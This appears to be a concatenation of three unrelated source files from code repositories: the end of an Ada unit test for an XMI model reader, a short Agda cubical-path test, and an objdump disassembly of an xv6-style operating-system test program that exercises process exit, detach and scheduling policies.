G : Gen.Generator.Handler;
C : constant String := Util.Tests.Get_Parameter ("config_dir", "config");
use Gen.Model.XMI;
function Find_Stereotype is
new Gen.Model.XMI.Find_Element (Element_Type => Stereotype_Element,
Element_Type_Access => Stereotype_Element_Access);
begin
Gen.Generator.Initialize (G, Ada.Strings.Unbounded.To_Unbounded_String (C), False);
A.Read_Model (G.Get_Parameter (Gen.Configs.GEN_UML_DIR) & "/Dynamo.xmi", G);
declare
S : Gen.Model.XMI.Stereotype_Element_Access;
begin
S := Find_Stereotype (A.Nodes, "Dynamo.xmi", "ADO.Table", Gen.Model.XMI.BY_NAME);
T.Assert (S /= null, "Stereotype not found");
S := Find_Stereotype (A.Nodes, "Dynamo.xmi", "ADO.PK", Gen.Model.XMI.BY_NAME);
T.Assert (S /= null, "Stereotype not found");
S := Find_Stereotype (A.Nodes, "Dynamo.xmi", "ADO.FK", Gen.Model.XMI.BY_NAME);
T.Assert (S /= null, "Stereotype not found");
S := Find_Stereotype (A.Nodes, "Dynamo.xmi", "ADO.DataModel", Gen.Model.XMI.BY_NAME);
T.Assert (S /= null, "Stereotype not found");
S := Find_Stereotype (A.Nodes, "Dynamo.xmi", "AWA.Bean", Gen.Model.XMI.BY_NAME);
T.Assert (S /= null, "Stereotype not found");
end;
end Test_Find_Element;
-- Test searching an XMI Tag definition element by using its name.
procedure Test_Find_Tag_Definition (T : in out Test) is
A : Artifact;
G : Gen.Generator.Handler;
C : constant String := Util.Tests.Get_Parameter ("config_dir", "config");
use Gen.Model.XMI;
function Find_Tag_Definition is
new Gen.Model.XMI.Find_Element (Element_Type => Tag_Definition_Element,
Element_Type_Access => Tag_Definition_Element_Access);
begin
Gen.Generator.Initialize (G, Ada.Strings.Unbounded.To_Unbounded_String (C), False);
A.Read_Model (G.Get_Parameter (Gen.Configs.GEN_UML_DIR) & "/Dynamo.xmi", G);
declare
Tag : Tag_Definition_Element_Access;
begin
Tag := Find_Tag_Definition (A.Nodes, "Dynamo.xmi", "ADO.Table.@dynamo.table.hasList",
Gen.Model.XMI.BY_NAME);
T.Assert (Tag /= null, "Tag definition not found");
end;
end Test_Find_Tag_Definition;
end Gen.Artifacts.XMI.Tests;
|
test/Succeed/Issue2650.agda | cruhland/agda | 1,989 | 11375 | <gh_stars>1000+
{-# OPTIONS --cubical #-}
module _ where
module _ where
import Agda.Primitive
open import Agda.Primitive.Cubical public
open import Agda.Builtin.Cubical.Path public
refl : ∀ {a} {A : Set a} {x : A} → x ≡ x
refl {x = x} = \ _ → x
testPath : ∀ {A : Set} {b a : A} (let H : b ≡ b; H = _) → ∀ i → H i ≡ b
testPath i = refl
|
test.asm | sagivnet/Opertion-Systems | 0 | 21052 | <filename>test.asm
_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return result;
}
int main(void) {
0: 55 push %ebp
run_test(&test_exit_wait, "exit&wait");
1: b8 88 10 00 00 mov $0x1088,%eax
int main(void) {
6: 89 e5 mov %esp,%ebp
8: 83 e4 f0 and $0xfffffff0,%esp
b: 83 ec 10 sub $0x10,%esp
run_test(&test_exit_wait, "exit&wait");
e: 89 44 24 04 mov %eax,0x4(%esp)
12: c7 04 24 f0 00 00 00 movl $0xf0,(%esp)
19: e8 92 02 00 00 call 2b0 <run_test>
run_test(&test_detach, "detach");
1e: ba 21 11 00 00 mov $0x1121,%edx
23: 89 54 24 04 mov %edx,0x4(%esp)
27: c7 04 24 90 01 00 00 movl $0x190,(%esp)
2e: e8 7d 02 00 00 call 2b0 <run_test>
run_test(&test_round_robin_policy, "round robin policy");
33: b9 28 11 00 00 mov $0x1128,%ecx
38: 89 4c 24 04 mov %ecx,0x4(%esp)
3c: c7 04 24 20 06 00 00 movl $0x620,(%esp)
43: e8 68 02 00 00 call 2b0 <run_test>
run_test(&test_priority_policy, "priority policy");
48: b8 44 11 00 00 mov $0x1144,%eax
4d: 89 44 24 04 mov %eax,0x4(%esp)
51: c7 04 24 40 06 00 00 movl $0x640,(%esp)
58: e8 53 02 00 00 call 2b0 <run_test>
run_test(&test_extended_priority_policy, "extended priority policy");
5d: b8 3b 11 00 00 mov $0x113b,%eax
62: 89 44 24 04 mov %eax,0x4(%esp)
66: c7 04 24 90 06 00 00 movl $0x690,(%esp)
6d: e8 3e 02 00 00 call 2b0 <run_test>
run_test(&test_accumulator, "accumulator");
72: b8 54 11 00 00 mov $0x1154,%eax
77: 89 44 24 04 mov %eax,0x4(%esp)
7b: c7 04 24 40 09 00 00 movl $0x940,(%esp)
82: e8 29 02 00 00 call 2b0 <run_test>
run_test(&test_starvation, "starvation");
87: b8 60 11 00 00 mov $0x1160,%eax
8c: 89 44 24 04 mov %eax,0x4(%esp)
90: c7 04 24 60 09 00 00 movl $0x960,(%esp)
97: e8 14 02 00 00 call 2b0 <run_test>
run_test(&test_performance_round_robin, "performance round robin");
9c: b8 6b 11 00 00 mov $0x116b,%eax
a1: 89 44 24 04 mov %eax,0x4(%esp)
a5: c7 04 24 90 07 00 00 movl $0x790,(%esp)
ac: e8 ff 01 00 00 call 2b0 <run_test>
run_test(&test_performance_priority, "performance priority");
b1: b8 83 11 00 00 mov $0x1183,%eax
b6: 89 44 24 04 mov %eax,0x4(%esp)
ba: c7 04 24 b0 07 00 00 movl $0x7b0,(%esp)
c1: e8 ea 01 00 00 call 2b0 <run_test>
run_test(&test_performance_extended_priority, "performance extended priority");
c6: ba 98 11 00 00 mov $0x1198,%edx
cb: 89 54 24 04 mov %edx,0x4(%esp)
cf: c7 04 24 f0 07 00 00 movl $0x7f0,(%esp)
d6: e8 d5 01 00 00 call 2b0 <run_test>
exit(0);
db: c7 04 24 00 00 00 00 movl $0x0,(%esp)
e2: e8 c1 0a 00 00 call ba8 <exit>
e7: 66 90 xchg %ax,%ax
e9: 66 90 xchg %ax,%ax
eb: 66 90 xchg %ax,%ax
ed: 66 90 xchg %ax,%ax
ef: 90 nop
000000f0 <test_exit_wait>:
boolean test_exit_wait() {
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 57 push %edi
f4: 56 push %esi
boolean result = true;
f5: be 01 00 00 00 mov $0x1,%esi
boolean test_exit_wait() {
fa: 53 push %ebx
for (int i = 0; i < 20; ++i) {
fb: 31 db xor %ebx,%ebx
boolean test_exit_wait() {
fd: 83 ec 3c sub $0x3c,%esp
wait(&status);
100: 8d 7d e4 lea -0x1c(%ebp),%edi
103: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pid = fork();
110: e8 8b 0a 00 00 call ba0 <fork>
if (pid > 0) {
115: 85 c0 test %eax,%eax
117: 7e 57 jle 170 <test_exit_wait+0x80>
wait(&status);
119: 89 3c 24 mov %edi,(%esp)
11c: e8 8f 0a 00 00 call bb0 <wait>
result = result && assert_equals(i, status, "exit&wait");
121: 85 f6 test %esi,%esi
123: 74 34 je 159 <test_exit_wait+0x69>
125: 8b 45 e4 mov -0x1c(%ebp),%eax
128: be 01 00 00 00 mov $0x1,%esi
if (expected != actual) {
12d: 39 d8 cmp %ebx,%eax
12f: 74 28 je 159 <test_exit_wait+0x69>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
131: 89 44 24 10 mov %eax,0x10(%esp)
135: ba b8 11 00 00 mov $0x11b8,%edx
13a: b8 88 10 00 00 mov $0x1088,%eax
13f: 89 5c 24 0c mov %ebx,0xc(%esp)
result = result && assert_equals(i, status, "exit&wait");
143: 31 f6 xor %esi,%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
145: 89 44 24 08 mov %eax,0x8(%esp)
149: 89 54 24 04 mov %edx,0x4(%esp)
14d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
154: e8 b7 0b 00 00 call d10 <printf>
for (int i = 0; i < 20; ++i) {
159: 43 inc %ebx
15a: 83 fb 14 cmp $0x14,%ebx
status = -1;
15d: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp)
for (int i = 0; i < 20; ++i) {
164: 75 aa jne 110 <test_exit_wait+0x20>
}
166: 83 c4 3c add $0x3c,%esp
169: 89 f0 mov %esi,%eax
16b: 5b pop %ebx
16c: 5e pop %esi
16d: 5f pop %edi
16e: 5d pop %ebp
16f: c3 ret
sleep(3);
170: c7 04 24 03 00 00 00 movl $0x3,(%esp)
177: e8 bc 0a 00 00 call c38 <sleep>
exit(i);
17c: 89 1c 24 mov %ebx,(%esp)
17f: e8 24 0a 00 00 call ba8 <exit>
184: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
18a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000190 <test_detach>:
boolean test_detach() {
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 56 push %esi
194: 53 push %ebx
195: 83 ec 20 sub $0x20,%esp
pid = fork();
198: e8 03 0a 00 00 call ba0 <fork>
if (pid > 0) {
19d: 85 c0 test %eax,%eax
19f: 0f 8e ea 00 00 00 jle 28f <test_detach+0xff>
status1 = detach(pid);
1a5: 89 04 24 mov %eax,(%esp)
1a8: 89 c3 mov %eax,%ebx
} else return true;
1aa: be 01 00 00 00 mov $0x1,%esi
status1 = detach(pid);
1af: e8 94 0a 00 00 call c48 <detach>
if (expected != actual) {
1b4: 85 c0 test %eax,%eax
1b6: 0f 85 a4 00 00 00 jne 260 <test_detach+0xd0>
status2 = detach(pid);
1bc: 89 1c 24 mov %ebx,(%esp)
1bf: e8 84 0a 00 00 call c48 <detach>
if (expected != actual) {
1c4: 83 f8 ff cmp $0xffffffff,%eax
1c7: 75 1f jne 1e8 <test_detach+0x58>
status3 = detach(-10);
1c9: c7 04 24 f6 ff ff ff movl $0xfffffff6,(%esp)
1d0: e8 73 0a 00 00 call c48 <detach>
if (expected != actual) {
1d5: 83 f8 ff cmp $0xffffffff,%eax
1d8: 75 4a jne 224 <test_detach+0x94>
}
1da: 83 c4 20 add $0x20,%esp
1dd: 89 f0 mov %esi,%eax
1df: 5b pop %ebx
1e0: 5e pop %esi
1e1: 5d pop %ebp
1e2: c3 ret
1e3: 90 nop
1e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
1e8: 89 44 24 10 mov %eax,0x10(%esp)
1ec: bb ff ff ff ff mov $0xffffffff,%ebx
1f1: b8 b8 11 00 00 mov $0x11b8,%eax
1f6: be a3 10 00 00 mov $0x10a3,%esi
1fb: 89 44 24 04 mov %eax,0x4(%esp)
1ff: 89 5c 24 0c mov %ebx,0xc(%esp)
203: 89 74 24 08 mov %esi,0x8(%esp)
207: c7 04 24 02 00 00 00 movl $0x2,(%esp)
20e: e8 fd 0a 00 00 call d10 <printf>
status3 = detach(-10);
213: c7 04 24 f6 ff ff ff movl $0xfffffff6,(%esp)
21a: e8 29 0a 00 00 call c48 <detach>
if (expected != actual) {
21f: 83 f8 ff cmp $0xffffffff,%eax
222: 74 2b je 24f <test_detach+0xbf>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
224: 89 44 24 10 mov %eax,0x10(%esp)
228: ba b4 10 00 00 mov $0x10b4,%edx
22d: b8 ff ff ff ff mov $0xffffffff,%eax
232: b9 b8 11 00 00 mov $0x11b8,%ecx
237: 89 44 24 0c mov %eax,0xc(%esp)
23b: 89 54 24 08 mov %edx,0x8(%esp)
23f: 89 4c 24 04 mov %ecx,0x4(%esp)
243: c7 04 24 02 00 00 00 movl $0x2,(%esp)
24a: e8 c1 0a 00 00 call d10 <printf>
}
24f: 83 c4 20 add $0x20,%esp
return result1 && result2 && result3;
252: 31 f6 xor %esi,%esi
}
254: 5b pop %ebx
255: 89 f0 mov %esi,%eax
257: 5e pop %esi
258: 5d pop %ebp
259: c3 ret
25a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
260: 89 44 24 10 mov %eax,0x10(%esp)
264: 31 c0 xor %eax,%eax
266: 31 f6 xor %esi,%esi
268: 89 44 24 0c mov %eax,0xc(%esp)
26c: b8 92 10 00 00 mov $0x1092,%eax
271: 89 44 24 08 mov %eax,0x8(%esp)
275: b8 b8 11 00 00 mov $0x11b8,%eax
27a: 89 44 24 04 mov %eax,0x4(%esp)
27e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
285: e8 86 0a 00 00 call d10 <printf>
28a: e9 2d ff ff ff jmp 1bc <test_detach+0x2c>
sleep(100);
28f: c7 04 24 64 00 00 00 movl $0x64,(%esp)
296: e8 9d 09 00 00 call c38 <sleep>
exit(0);
29b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2a2: e8 01 09 00 00 call ba8 <exit>
2a7: 89 f6 mov %esi,%esi
2a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002b0 <run_test>:
void run_test(test_runner *test, char *name) {
2b0: 55 push %ebp
printf(1, "========== Test - %s: Begin ==========\n", name);
2b1: b9 e4 11 00 00 mov $0x11e4,%ecx
void run_test(test_runner *test, char *name) {
2b6: 89 e5 mov %esp,%ebp
2b8: 53 push %ebx
2b9: 83 ec 14 sub $0x14,%esp
2bc: 8b 5d 0c mov 0xc(%ebp),%ebx
printf(1, "========== Test - %s: Begin ==========\n", name);
2bf: 89 4c 24 04 mov %ecx,0x4(%esp)
2c3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ca: 89 5c 24 08 mov %ebx,0x8(%esp)
2ce: e8 3d 0a 00 00 call d10 <printf>
boolean result = (*test)();
2d3: ff 55 08 call *0x8(%ebp)
printf(1, "========== Test - %s: Passed ==========\n", name);
2d6: 89 5c 24 08 mov %ebx,0x8(%esp)
if (result) {
2da: 85 c0 test %eax,%eax
2dc: 75 22 jne 300 <run_test+0x50>
printf(1, "========== Test - %s: Failed ==========\n", name);
2de: b8 38 12 00 00 mov $0x1238,%eax
2e3: 89 44 24 04 mov %eax,0x4(%esp)
2e7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ee: e8 1d 0a 00 00 call d10 <printf>
}
2f3: 83 c4 14 add $0x14,%esp
2f6: 5b pop %ebx
2f7: 5d pop %ebp
2f8: c3 ret
2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "========== Test - %s: Passed ==========\n", name);
300: ba 0c 12 00 00 mov $0x120c,%edx
305: 89 54 24 04 mov %edx,0x4(%esp)
309: c7 04 24 01 00 00 00 movl $0x1,(%esp)
310: e8 fb 09 00 00 call d10 <printf>
}
315: 83 c4 14 add $0x14,%esp
318: 5b pop %ebx
319: 5d pop %ebp
31a: c3 ret
31b: 90 nop
31c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000320 <assert_equals>:
boolean assert_equals(int expected, int actual, char *msg) {
320: 55 push %ebp
321: b8 01 00 00 00 mov $0x1,%eax
326: 89 e5 mov %esp,%ebp
328: 83 ec 28 sub $0x28,%esp
32b: 8b 55 08 mov 0x8(%ebp),%edx
32e: 8b 4d 0c mov 0xc(%ebp),%ecx
if (expected != actual) {
331: 39 ca cmp %ecx,%edx
333: 74 26 je 35b <assert_equals+0x3b>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
335: 8b 45 10 mov 0x10(%ebp),%eax
338: 89 4c 24 10 mov %ecx,0x10(%esp)
33c: 89 54 24 0c mov %edx,0xc(%esp)
340: c7 04 24 02 00 00 00 movl $0x2,(%esp)
347: 89 44 24 08 mov %eax,0x8(%esp)
34b: b8 b8 11 00 00 mov $0x11b8,%eax
350: 89 44 24 04 mov %eax,0x4(%esp)
354: e8 b7 09 00 00 call d10 <printf>
359: 31 c0 xor %eax,%eax
}
35b: c9 leave
35c: c3 ret
35d: 8d 76 00 lea 0x0(%esi),%esi
00000360 <print_perf>:
void print_perf(struct perf *performance) {
360: 55 push %ebp
printf(1, "pref:\n");
361: b8 c5 10 00 00 mov $0x10c5,%eax
void print_perf(struct perf *performance) {
366: 89 e5 mov %esp,%ebp
368: 53 push %ebx
369: 83 ec 14 sub $0x14,%esp
36c: 8b 5d 08 mov 0x8(%ebp),%ebx
printf(1, "pref:\n");
36f: 89 44 24 04 mov %eax,0x4(%esp)
373: c7 04 24 01 00 00 00 movl $0x1,(%esp)
37a: e8 91 09 00 00 call d10 <printf>
printf(1, "\tctime: %d\n", performance->ctime);
37f: ba cc 10 00 00 mov $0x10cc,%edx
384: 8b 03 mov (%ebx),%eax
386: 89 54 24 04 mov %edx,0x4(%esp)
38a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
391: 89 44 24 08 mov %eax,0x8(%esp)
395: e8 76 09 00 00 call d10 <printf>
printf(1, "\tttime: %d\n", performance->ttime);
39a: 8b 43 04 mov 0x4(%ebx),%eax
39d: b9 d8 10 00 00 mov $0x10d8,%ecx
3a2: 89 4c 24 04 mov %ecx,0x4(%esp)
3a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3ad: 89 44 24 08 mov %eax,0x8(%esp)
3b1: e8 5a 09 00 00 call d10 <printf>
printf(1, "\tstime: %d\n", performance->stime);
3b6: 8b 43 08 mov 0x8(%ebx),%eax
3b9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3c0: 89 44 24 08 mov %eax,0x8(%esp)
3c4: b8 e4 10 00 00 mov $0x10e4,%eax
3c9: 89 44 24 04 mov %eax,0x4(%esp)
3cd: e8 3e 09 00 00 call d10 <printf>
printf(1, "\tretime: %d\n", performance->retime);
3d2: 8b 43 0c mov 0xc(%ebx),%eax
3d5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3dc: 89 44 24 08 mov %eax,0x8(%esp)
3e0: b8 f0 10 00 00 mov $0x10f0,%eax
3e5: 89 44 24 04 mov %eax,0x4(%esp)
3e9: e8 22 09 00 00 call d10 <printf>
printf(1, "\trutime: %d\n", performance->rutime);
3ee: 8b 43 10 mov 0x10(%ebx),%eax
3f1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3f8: 89 44 24 08 mov %eax,0x8(%esp)
3fc: b8 fd 10 00 00 mov $0x10fd,%eax
401: 89 44 24 04 mov %eax,0x4(%esp)
405: e8 06 09 00 00 call d10 <printf>
printf(1, "\n\tTurnaround time: %d\n", (performance->ttime - performance->ctime));
40a: 8b 43 04 mov 0x4(%ebx),%eax
40d: b9 0a 11 00 00 mov $0x110a,%ecx
412: 8b 13 mov (%ebx),%edx
414: 89 4c 24 04 mov %ecx,0x4(%esp)
418: c7 04 24 01 00 00 00 movl $0x1,(%esp)
41f: 29 d0 sub %edx,%eax
421: 89 44 24 08 mov %eax,0x8(%esp)
425: e8 e6 08 00 00 call d10 <printf>
}
42a: 83 c4 14 add $0x14,%esp
42d: 5b pop %ebx
42e: 5d pop %ebp
42f: c3 ret
00000430 <fact>:
int fact(int n) {
430: 55 push %ebp
}
431: 31 c0 xor %eax,%eax
int fact(int n) {
433: 89 e5 mov %esp,%ebp
}
435: 5d pop %ebp
436: c3 ret
437: 89 f6 mov %esi,%esi
439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000440 <fact2>:
unsigned long long fact2(unsigned long long n, unsigned long long k) {
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
445: 53 push %ebx
446: 83 ec 0c sub $0xc,%esp
449: 8b 45 10 mov 0x10(%ebp),%eax
44c: 8b 55 14 mov 0x14(%ebp),%edx
44f: 8b 4d 08 mov 0x8(%ebp),%ecx
452: 8b 5d 0c mov 0xc(%ebp),%ebx
455: 89 45 e8 mov %eax,-0x18(%ebp)
458: 89 55 ec mov %edx,-0x14(%ebp)
45b: eb 25 jmp 482 <fact2+0x42>
45d: 8d 76 00 lea 0x0(%esi),%esi
k = k * n;
460: 8b 75 ec mov -0x14(%ebp),%esi
--n;
463: 83 c1 ff add $0xffffffff,%ecx
k = k * n;
466: 8b 55 e8 mov -0x18(%ebp),%edx
--n;
469: 83 d3 ff adc $0xffffffff,%ebx
k = k * n;
46c: 8b 45 e8 mov -0x18(%ebp),%eax
46f: 0f af f1 imul %ecx,%esi
472: 0f af d3 imul %ebx,%edx
475: 01 d6 add %edx,%esi
477: f7 e1 mul %ecx
479: 89 55 ec mov %edx,-0x14(%ebp)
47c: 01 75 ec add %esi,-0x14(%ebp)
47f: 89 45 e8 mov %eax,-0x18(%ebp)
if (n == 1) {
482: 89 ce mov %ecx,%esi
484: 89 df mov %ebx,%edi
486: 83 f6 01 xor $0x1,%esi
489: 09 f7 or %esi,%edi
48b: 75 d3 jne 460 <fact2+0x20>
}
48d: 8b 45 e8 mov -0x18(%ebp),%eax
490: 8b 55 ec mov -0x14(%ebp),%edx
493: 83 c4 0c add $0xc,%esp
496: 5b pop %ebx
497: 5e pop %esi
498: 5f pop %edi
499: 5d pop %ebp
49a: c3 ret
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004a0 <fib>:
int fib(int n) {
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 83 ec 28 sub $0x28,%esp
4a6: 89 5d f4 mov %ebx,-0xc(%ebp)
4a9: 8b 5d 08 mov 0x8(%ebp),%ebx
4ac: 89 75 f8 mov %esi,-0x8(%ebp)
4af: 89 7d fc mov %edi,-0x4(%ebp)
if (!n)
4b2: 85 db test %ebx,%ebx
4b4: 74 2a je 4e0 <fib+0x40>
4b6: 4b dec %ebx
4b7: bf ff ff ff ff mov $0xffffffff,%edi
4bc: 31 f6 xor %esi,%esi
return fib(n - 1) + fib(n - 2);
4be: 89 1c 24 mov %ebx,(%esp)
4c1: 83 eb 02 sub $0x2,%ebx
4c4: e8 d7 ff ff ff call 4a0 <fib>
4c9: 01 c6 add %eax,%esi
if (!n)
4cb: 39 fb cmp %edi,%ebx
4cd: 75 ef jne 4be <fib+0x1e>
4cf: 8d 46 01 lea 0x1(%esi),%eax
}
4d2: 8b 5d f4 mov -0xc(%ebp),%ebx
4d5: 8b 75 f8 mov -0x8(%ebp),%esi
4d8: 8b 7d fc mov -0x4(%ebp),%edi
4db: 89 ec mov %ebp,%esp
4dd: 5d pop %ebp
4de: c3 ret
4df: 90 nop
4e0: 8b 5d f4 mov -0xc(%ebp),%ebx
if (!n)
4e3: b8 01 00 00 00 mov $0x1,%eax
}
4e8: 8b 75 f8 mov -0x8(%ebp),%esi
4eb: 8b 7d fc mov -0x4(%ebp),%edi
4ee: 89 ec mov %ebp,%esp
4f0: 5d pop %ebp
4f1: c3 ret
4f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000500 <test_policy_helper>:
boolean test_policy_helper(int *priority_mod, int policy) {
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 53 push %ebx
for (int i = 0; i < nProcs; ++i) {
506: 31 db xor %ebx,%ebx
boolean test_policy_helper(int *priority_mod, int policy) {
508: 83 ec 4c sub $0x4c,%esp
50b: eb 0f jmp 51c <test_policy_helper+0x1c>
50d: 8d 76 00 lea 0x0(%esi),%esi
} else if (pid == 0) {
510: 0f 84 b6 00 00 00 je 5cc <test_policy_helper+0xcc>
for (int i = 0; i < nProcs; ++i) {
516: 43 inc %ebx
517: 83 fb 64 cmp $0x64,%ebx
51a: 74 0d je 529 <test_policy_helper+0x29>
51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pid = fork();
520: e8 7b 06 00 00 call ba0 <fork>
if (pid < 0) {
525: 85 c0 test %eax,%eax
527: 79 e7 jns 510 <test_policy_helper+0x10>
529: 31 f6 xor %esi,%esi
52b: ba 01 00 00 00 mov $0x1,%edx
530: 8d 7d e4 lea -0x1c(%ebp),%edi
533: eb 0b jmp 540 <test_policy_helper+0x40>
for (int j = 0; j < nProcs; ++j) {
535: 83 fb 64 cmp $0x64,%ebx
538: 89 de mov %ebx,%esi
53a: 74 74 je 5b0 <test_policy_helper+0xb0>
53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wait(&status);
540: 89 3c 24 mov %edi,(%esp)
543: 8d 5e 01 lea 0x1(%esi),%ebx
546: 89 55 d4 mov %edx,-0x2c(%ebp)
549: e8 62 06 00 00 call bb0 <wait>
result = result && assert_equals(0, status, "round robin");
54e: 8b 55 d4 mov -0x2c(%ebp),%edx
551: 85 d2 test %edx,%edx
553: 74 44 je 599 <test_policy_helper+0x99>
555: 8b 45 e4 mov -0x1c(%ebp),%eax
558: ba 01 00 00 00 mov $0x1,%edx
if (expected != actual) {
55d: 85 c0 test %eax,%eax
55f: 74 d4 je 535 <test_policy_helper+0x35>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
561: 89 44 24 10 mov %eax,0x10(%esp)
565: ba 77 11 00 00 mov $0x1177,%edx
56a: 31 c0 xor %eax,%eax
56c: b9 b8 11 00 00 mov $0x11b8,%ecx
571: 89 44 24 0c mov %eax,0xc(%esp)
575: 89 54 24 08 mov %edx,0x8(%esp)
579: 89 4c 24 04 mov %ecx,0x4(%esp)
57d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
584: e8 87 07 00 00 call d10 <printf>
for (int j = 0; j < nProcs; ++j) {
589: 83 fb 64 cmp $0x64,%ebx
58c: 74 32 je 5c0 <test_policy_helper+0xc0>
wait(&status);
58e: 89 3c 24 mov %edi,(%esp)
591: 8d 5e 02 lea 0x2(%esi),%ebx
594: e8 17 06 00 00 call bb0 <wait>
for (int j = 0; j < nProcs; ++j) {
599: 83 fb 64 cmp $0x64,%ebx
59c: 74 22 je 5c0 <test_policy_helper+0xc0>
59e: 43 inc %ebx
wait(&status);
59f: 89 3c 24 mov %edi,(%esp)
5a2: 89 de mov %ebx,%esi
5a4: e8 07 06 00 00 call bb0 <wait>
result = result && assert_equals(0, status, "round robin");
5a9: 31 d2 xor %edx,%edx
for (int j = 0; j < nProcs; ++j) {
5ab: 83 fb 64 cmp $0x64,%ebx
5ae: 75 90 jne 540 <test_policy_helper+0x40>
}
5b0: 83 c4 4c add $0x4c,%esp
5b3: 89 d0 mov %edx,%eax
5b5: 5b pop %ebx
5b6: 5e pop %esi
5b7: 5f pop %edi
5b8: 5d pop %ebp
5b9: c3 ret
5ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5c0: 83 c4 4c add $0x4c,%esp
result = result && assert_equals(0, status, "round robin");
5c3: 31 d2 xor %edx,%edx
}
5c5: 5b pop %ebx
5c6: 89 d0 mov %edx,%eax
5c8: 5e pop %esi
5c9: 5f pop %edi
5ca: 5d pop %ebp
5cb: c3 ret
if (priority_mod) {
5cc: 8b 75 08 mov 0x8(%ebp),%esi
5cf: 85 f6 test %esi,%esi
5d1: 74 1a je 5ed <test_policy_helper+0xed>
if ((i % *(priority_mod)) == 0 && policy == PRIORITY) {
5d3: 8b 4d 08 mov 0x8(%ebp),%ecx
5d6: 89 d8 mov %ebx,%eax
5d8: 99 cltd
5d9: f7 39 idivl (%ecx)
5db: 85 d2 test %edx,%edx
5dd: 75 06 jne 5e5 <test_policy_helper+0xe5>
5df: 83 7d 0c 02 cmpl $0x2,0xc(%ebp)
5e3: 74 20 je 605 <test_policy_helper+0x105>
priority(i % (*priority_mod));
5e5: 89 14 24 mov %edx,(%esp)
5e8: e8 6b 06 00 00 call c58 <priority>
sleep(10);
5ed: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
5f4: e8 3f 06 00 00 call c38 <sleep>
exit(0);
5f9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
600: e8 a3 05 00 00 call ba8 <exit>
priority(1);
605: c7 04 24 01 00 00 00 movl $0x1,(%esp)
60c: e8 47 06 00 00 call c58 <priority>
611: eb da jmp 5ed <test_policy_helper+0xed>
613: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000620 <test_round_robin_policy>:
boolean test_round_robin_policy() {
620: 55 push %ebp
return test_policy_helper(null, null);
621: 31 c0 xor %eax,%eax
boolean test_round_robin_policy() {
623: 89 e5 mov %esp,%ebp
625: 83 ec 18 sub $0x18,%esp
return test_policy_helper(null, null);
628: 89 44 24 04 mov %eax,0x4(%esp)
62c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
633: e8 c8 fe ff ff call 500 <test_policy_helper>
}
638: c9 leave
639: c3 ret
63a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000640 <test_priority_policy>:
boolean test_priority_policy() {
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 83 ec 38 sub $0x38,%esp
policy(PRIORITY);
646: c7 04 24 02 00 00 00 movl $0x2,(%esp)
int priority_mod = 10;
64d: c7 45 f4 0a 00 00 00 movl $0xa,-0xc(%ebp)
policy(PRIORITY);
654: e8 f7 05 00 00 call c50 <policy>
boolean result = test_policy_helper(&priority_mod, PRIORITY);
659: b8 02 00 00 00 mov $0x2,%eax
65e: 89 44 24 04 mov %eax,0x4(%esp)
662: 8d 45 f4 lea -0xc(%ebp),%eax
665: 89 04 24 mov %eax,(%esp)
668: e8 93 fe ff ff call 500 <test_policy_helper>
policy(ROUND_ROBIN);
66d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_policy_helper(&priority_mod, PRIORITY);
674: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
677: e8 d4 05 00 00 call c50 <policy>
}
67c: 8b 45 e4 mov -0x1c(%ebp),%eax
67f: c9 leave
680: c3 ret
681: eb 0d jmp 690 <test_extended_priority_policy>
683: 90 nop
684: 90 nop
685: 90 nop
686: 90 nop
687: 90 nop
